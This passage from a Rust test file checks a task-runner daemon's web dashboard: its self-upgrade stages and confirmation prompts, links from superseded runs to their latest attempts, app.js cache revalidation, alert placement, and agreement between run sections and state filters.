9985 hand_over(home.path(), &looping, served, || Ok(()))
9986 .await
9987 .expect("hand over");
9988
9989 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
9990 assert_eq!(
9991 after.stage,
9992 crate::updater::Stage::Restarting,
9993 "hand_over owns the record through parking and up to restarting; \
9994 the successor is what finishes it"
9995 );
9996 }
9997
9998 #[test]
9999 fn the_upgrade_button_arms_before_it_restarts_anything() {
10000 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
10003 assert!(APP_JS.contains("Replace the binary and restart?"));
10004 assert!(APP_JS.contains("function confirmed("));
10005 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
10010 assert!(
10014 APP_JS.contains("Parking, then restarting"),
10015 "the button says what it is waiting for"
10016 );
10017 assert!(APP_JS.contains("if (!out.to)"));
10020 }
10021
10022 #[test]
10023 fn stopping_the_loop_arms_but_starting_does_not() {
10024 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
10027 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
10028 assert!(APP_JS.contains("confirmed(button, question)"));
10029 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
10032 assert!(APP_JS.contains("const label = btn.textContent;"));
10033 assert!(!APP_JS.contains("Neither direction is guarded"));
10034 }
10035
10036 #[test]
10037 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
10038 assert!(
10039 APP_JS.contains("state.health.version"),
10040 "the operator wants to know what is running even with nothing newer"
10041 );
10042 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
10043 }
10044
10045 #[test]
10046 fn the_upgrade_button_names_its_destination() {
10047 assert!(
10048 APP_JS.contains("`Update to ${update.to}`"),
10049 "pressing the button should not be a surprise about what it moves to"
10050 );
10051 }
10052
10053 #[test]
10054 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
10055 for stage in ["downloading", "replaced", "parking", "restarting"] {
10056 assert!(
10057 APP_JS.contains(&format!("\"{stage}\"")),
10058 "the phone must be able to tell {stage} apart from the others"
10059 );
10060 }
10061 assert!(APP_JS.contains(".waiting_on"));
10062 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
10067 assert!(APP_JS.contains("reconnects on its own"));
10068 }
10069
10070 #[test]
10071 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
10072 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
10081 ..APP_JS.find("function upgrade(").expect("upgrade")];
10082 assert!(
10083 !body.contains(
10084 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
10085 ),
10086 "a failed upgrade must not take the whole strip over the way it used to"
10087 );
10088 assert!(
10089 body.contains("upgradeFailNote"),
10090 "the failure has to reach the loop's own note instead"
10091 );
10092 assert_eq!(
10096 body.matches("upgradeFailNote].filter(Boolean).join")
10097 .count(),
10098 2,
10099 "both loop-why writers (quiet and control) must fold the note in"
10100 );
10101 }
10102
10103 #[test]
10104 fn an_overdue_upgrade_eventually_asks_for_a_human() {
10105 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
10108 assert!(APP_JS.contains("function upgradeOverdue("));
10109 }
10110
10111 #[test]
10112 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
10113 assert!(
10114 APP_JS.contains("Updated to ${upgradeInfo.to"),
10115 "the operator who asked for the restart wants to know it worked"
10116 );
10117 }
10118
10119 #[test]
10120 fn an_error_is_visible_from_where_the_button_is() {
10121 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
10126 ..APP_CSS.find(".alert-text").expect(".alert-text")];
10127 assert!(
10128 alert.contains("position: fixed"),
10129 "an error about the thing under your thumb has to be visible from \
10130 where your thumb is: {alert}"
10131 );
10132 assert!(
10133 alert.contains("z-index: 25"),
10134 "above the dock (20) and the run-actions FAB (15), so neither \
10135 buries it: {alert}"
10136 );
10137 assert!(
10138 alert.contains("var(--tap)"),
10139 "and clear of the dock and the home indicator: {alert}"
10140 );
10141 assert!(
10144 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
10145 "the FAB's column stays free: {alert}"
10146 );
10147 }
10148
10149 #[tokio::test]
10150 async fn an_older_attempt_says_what_replaced_it() {
10151 let fx = Fixture::start().await;
10152 let q = fx.queue();
10153 let runs = fx.runs();
10154 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
10155 write_run(&runs, first, RunStatus::Stalled);
10156 write_run(&runs, second, RunStatus::Blocked);
10157
10158 let mut t = Task::new(
10159 "one task".to_owned(),
10160 "do it".to_owned(),
10161 PathBuf::from("/repo"),
10162 Source::Human,
10163 );
10164 t.runs = vec![first.to_owned(), second.to_owned()];
10165 q.put(&mut t).expect("put");
10166
10167 let rows = fx.get("/api/runs").await.json();
10171 let by = |short: &str| -> Value {
10172 rows.as_array()
10173 .unwrap()
10174 .iter()
10175 .find(|r| r["short"] == short)
10176 .cloned()
10177 .unwrap_or(Value::Null)
10178 };
10179 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
10180 assert!(
10181 by("bbbb")["superseded_by"].is_null(),
10182 "the latest attempt is not superseded by anything"
10183 );
10184 assert!(APP_JS.contains("run.superseded_by"));
10186 assert!(APP_JS.contains("Superseded by"));
10187 }
10188
10189 #[tokio::test]
10190 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
10191 let fx = Fixture::start().await;
10196 let q = fx.queue();
10197 let runs = fx.runs();
10198 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
10199 write_run(&runs, first, RunStatus::Blocked);
10200 write_run(&runs, second, RunStatus::Merged);
10201
10202 let mut t = Task::new(
10203 "one task".to_owned(),
10204 "do it".to_owned(),
10205 PathBuf::from("/repo"),
10206 Source::Human,
10207 );
10208 t.runs = vec![first.to_owned(), second.to_owned()];
10209 q.put(&mut t).expect("put");
10210
10211 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
10212 assert_eq!(earlier["superseded_by"], "dddd");
10213 assert_eq!(earlier["latest_attempt"]["id"], second);
10214 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
10215 assert_eq!(
10216 earlier["latest_attempt"]["resolved"], true,
10217 "the run that replaced it landed, so this one reads as settled"
10218 );
10219
10220 let later = fx.get(&format!("/api/runs/{second}")).await.json();
10221 assert!(
10222 later["superseded_by"].is_null(),
10223 "the latest attempt is not superseded by anything"
10224 );
10225 assert!(
10226 later["latest_attempt"].is_null(),
10227 "the latest attempt has no later attempt of its own"
10228 );
10229
10230 assert!(APP_JS.contains("run.latest_attempt"));
10237 assert!(APP_JS.contains("data-superseded"));
10238 assert!(APP_JS.contains("#/runs/${latest.id}"));
10239 }
10240
10241 #[tokio::test]
10242 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
10243 let fx = Fixture::start().await;
10249 let q = fx.queue();
10250 let runs = fx.runs();
10251 let (a, b, c) = (
10252 "20260901-000000-aaaa",
10253 "20260901-000000-bbbb",
10254 "20260901-000000-cccc",
10255 );
10256 write_run(&runs, a, RunStatus::Blocked);
10257 write_run(&runs, b, RunStatus::Blocked);
10258 write_run(&runs, c, RunStatus::Merged);
10259
10260 let mut t = Task::new(
10261 "retried twice".to_owned(),
10262 "do it".to_owned(),
10263 PathBuf::from("/repo"),
10264 Source::Human,
10265 );
10266 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
10267 q.put(&mut t).expect("put");
10268
10269 let view = fx.get(&format!("/api/runs/{a}")).await.json();
10270 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
10271 assert_eq!(
10272 view["latest_attempt"]["id"], c,
10273 "the chain's current head, not the intermediate Blocked retry"
10274 );
10275 assert_eq!(view["latest_attempt"]["resolved"], true);
10276
10277 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
10278 assert_eq!(mid["latest_attempt"]["id"], c);
10279 assert_eq!(mid["latest_attempt"]["resolved"], true);
10280 }
10281
10282 #[tokio::test]
10283 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
10284 let fx = Fixture::start().await;
10285 let q = fx.queue();
10286 let runs = fx.runs();
10287
10288 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
10291 write_run(&runs, still_blocked_a, RunStatus::Blocked);
10292 write_run(&runs, still_blocked_b, RunStatus::Blocked);
10293 let mut t1 = Task::new(
10294 "still stuck".to_owned(),
10295 "do it".to_owned(),
10296 PathBuf::from("/repo"),
10297 Source::Human,
10298 );
10299 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
10300 q.put(&mut t1).expect("put");
10301 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
10302 assert_eq!(view1["latest_attempt"]["resolved"], false);
10303
10304 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
10309 write_run(&runs, noop_a, RunStatus::Blocked);
10310 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
10311 let mut t2 = Task::new(
10312 "claims done".to_owned(),
10313 "do it".to_owned(),
10314 PathBuf::from("/repo"),
10315 Source::Human,
10316 );
10317 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
10318 q.put(&mut t2).expect("put");
10319 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
10320 assert_eq!(
10321 view2["latest_attempt"]["resolved"], false,
10322 "an unverified no-op claim must not read as a confirmed finish"
10323 );
10324
10325 assert!(APP_JS.contains("latest.resolved"));
10328 }
10329
10330 #[tokio::test]
10331 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
10332 let fx = Fixture::start().await;
10333 let js = fx.get("/app.js").await;
10339 assert_eq!(js.status, 200);
10340 let tag = js
10341 .header("etag")
10342 .expect("an etag to revalidate against")
10343 .to_owned();
10344 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
10345 assert_eq!(
10346 js.header("cache-control"),
10347 Some("no-cache, must-revalidate"),
10348 "the phone has to ask every time"
10349 );
10350
10351 let again = fx
10354 .get_with("/app.js", &[("if-none-match", tag.as_str())])
10355 .await;
10356 assert_eq!(
10357 again.status, 304,
10358 "a deck it already has costs one round trip"
10359 );
10360 assert!(again.body.is_empty(), "304 carries no body");
10361
10362 let weak = fx
10365 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
10366 .await;
10367 assert_eq!(weak.status, 304);
10368 let stale = fx
10369 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
10370 .await;
10371 assert_eq!(stale.status, 200, "an older build must be replaced");
10372 assert!(stale.body.contains("renderRunActions"));
10373 }
10374
10375 #[test]
10376 fn the_deck_never_sends_the_operator_to_a_terminal() {
10377 assert!(
10380 !APP_JS.contains("Run `magi fold` first"),
10381 "the deck must offer the fold, not prescribe a shell command"
10382 );
10383 assert!(APP_JS.contains("foldRun:"));
10384 assert!(APP_JS.contains("resumeRun:"));
10385 assert!(APP_JS.contains("renderRunActions"));
10386
10387 assert!(APP_JS.contains("armedFold"));
10389 assert!(APP_JS.contains("Yes, fold worktrees"));
10390
10391 assert!(APP_JS.contains("can no longer be resumed"));
10394 }
10395
10396 #[test]
10397 fn a_finished_run_explains_itself_with_its_own_last_line() {
10398 assert!(
10404 !APP_JS.contains("collapsed on agent quota"),
10405 "a stall must not be explained by a cause the deck did not check"
10406 );
10407 assert!(
10408 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
10409 "and a block must not offer a guess with an `or` in it"
10410 );
10411
10412 assert!(
10416 APP_JS.contains("setText(r.event, run.event || \"\")"),
10417 "the run's last line is rendered unconditionally"
10418 );
10419 assert!(
10420 !APP_JS.contains("moving && run.event"),
10421 "and never gated on the run still moving"
10422 );
10423
10424 assert!(APP_JS.contains("lost to quota"));
10426 }
10427
10428 #[test]
10450 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
10451 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
10452 let shapes_body_start =
10453 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
10454 let shapes_close = APP_JS[shapes_body_start..]
10455 .find("].map(")
10456 .expect("the shape list is closed by its done-computing .map(...)")
10457 + shapes_body_start;
10458 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
10459
10460 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
10461 for entry in shapes_src.split('{').skip(1) {
10462 let waiting = entry.contains("waiting: true");
10463 let dead = entry.contains("live: \"dead\"");
10464 let status_at =
10465 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
10466 let status_end = entry[status_at..]
10467 .find('"')
10468 .expect("the status string is closed")
10469 + status_at;
10470 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
10471 }
10472 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
10473
10474 let done_rule_marker = "done: !";
10478 let done_rule_at = APP_JS[shapes_close..]
10479 .find(done_rule_marker)
10480 .expect("the done rule follows the shape list")
10481 + shapes_close
10482 + done_rule_marker.len();
10483 let includes_at = APP_JS[done_rule_at..]
10484 .find(".includes(shape.status)")
10485 .expect("the done rule ends in .includes(shape.status)")
10486 + done_rule_at;
10487 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
10488 .trim()
10489 .trim_start_matches('[')
10490 .trim_end_matches(']')
10491 .split(',')
10492 .map(|s| s.trim().trim_matches('"'))
10493 .filter(|s| !s.is_empty())
10494 .collect();
10495
10496 let shapes: Vec<(bool, String, bool, bool)> = shapes
10497 .into_iter()
10498 .map(|(waiting, status, dead)| {
10499 let done = !not_done.contains(&status.as_str());
10500 (waiting, status, dead, done)
10501 })
10502 .collect();
10503
10504 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
10508 if waiting {
10509 return "waiting";
10510 }
10511 if dead
10512 && !matches!(
10513 status,
10514 "merged"
10515 | "ready"
10516 | "stalled"
10517 | "blocked"
10518 | "failed"
10519 | "verified_noop"
10520 | "superseded"
10521 )
10522 {
10523 return "stale";
10524 }
10525 match status {
10526 "merged" | "ready" => "landed",
10527 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded" => "ended",
10528 _ => "flight",
10529 }
10530 }
10531
10532 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
10535 match filter_key {
10536 "active" => !done,
10537 "flight" => !done && !waiting && !dead,
10538 "stale" => !done && !waiting && dead,
10539 "waiting" => waiting,
10540 "done" => done,
10541 "all" => true,
10542 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
10543 }
10544 }
10545
10546 let compatible = |section: &str, filter_key: &str| {
10547 shapes.iter().any(|(waiting, status, dead, done)| {
10548 run_section(*waiting, status, *dead) == section
10549 && filter_matches(filter_key, *waiting, *dead, *done)
10550 })
10551 };
10552
10553 let expected = [
10558 ("waiting", [true, false, false, true, true, true]),
10559 ("stale", [true, false, true, false, false, true]),
10560 ("flight", [true, true, false, false, false, true]),
10561 ("landed", [false, false, false, false, true, true]),
10562 ("ended", [false, false, false, false, true, true]),
10563 ];
10564 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
10565
10566 for (section, wants) in expected {
10567 for (filter_key, want) in filter_keys.iter().zip(wants) {
10568 assert_eq!(
10569 compatible(section, filter_key),
10570 want,
10571 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
10572 );
10573 }
10574 }
10575
10576 assert!(
10579 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
10580 );
10581 assert!(APP_JS.contains(
10582 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
10583 ));
10584 assert!(APP_JS.contains(
10585 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
10586 ));
10587 }
10588
10589 #[tokio::test]
10590 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
10591 let dir = tempfile::tempdir().expect("tempdir");
10595 let explicit = dir.path().join("not-a-checkout");
10596 std::fs::create_dir_all(&explicit).expect("create dir");
10597 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
10598
10599 let missing = dir.path().join("does-not-exist-at-all");
10600 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
10601 }
10602}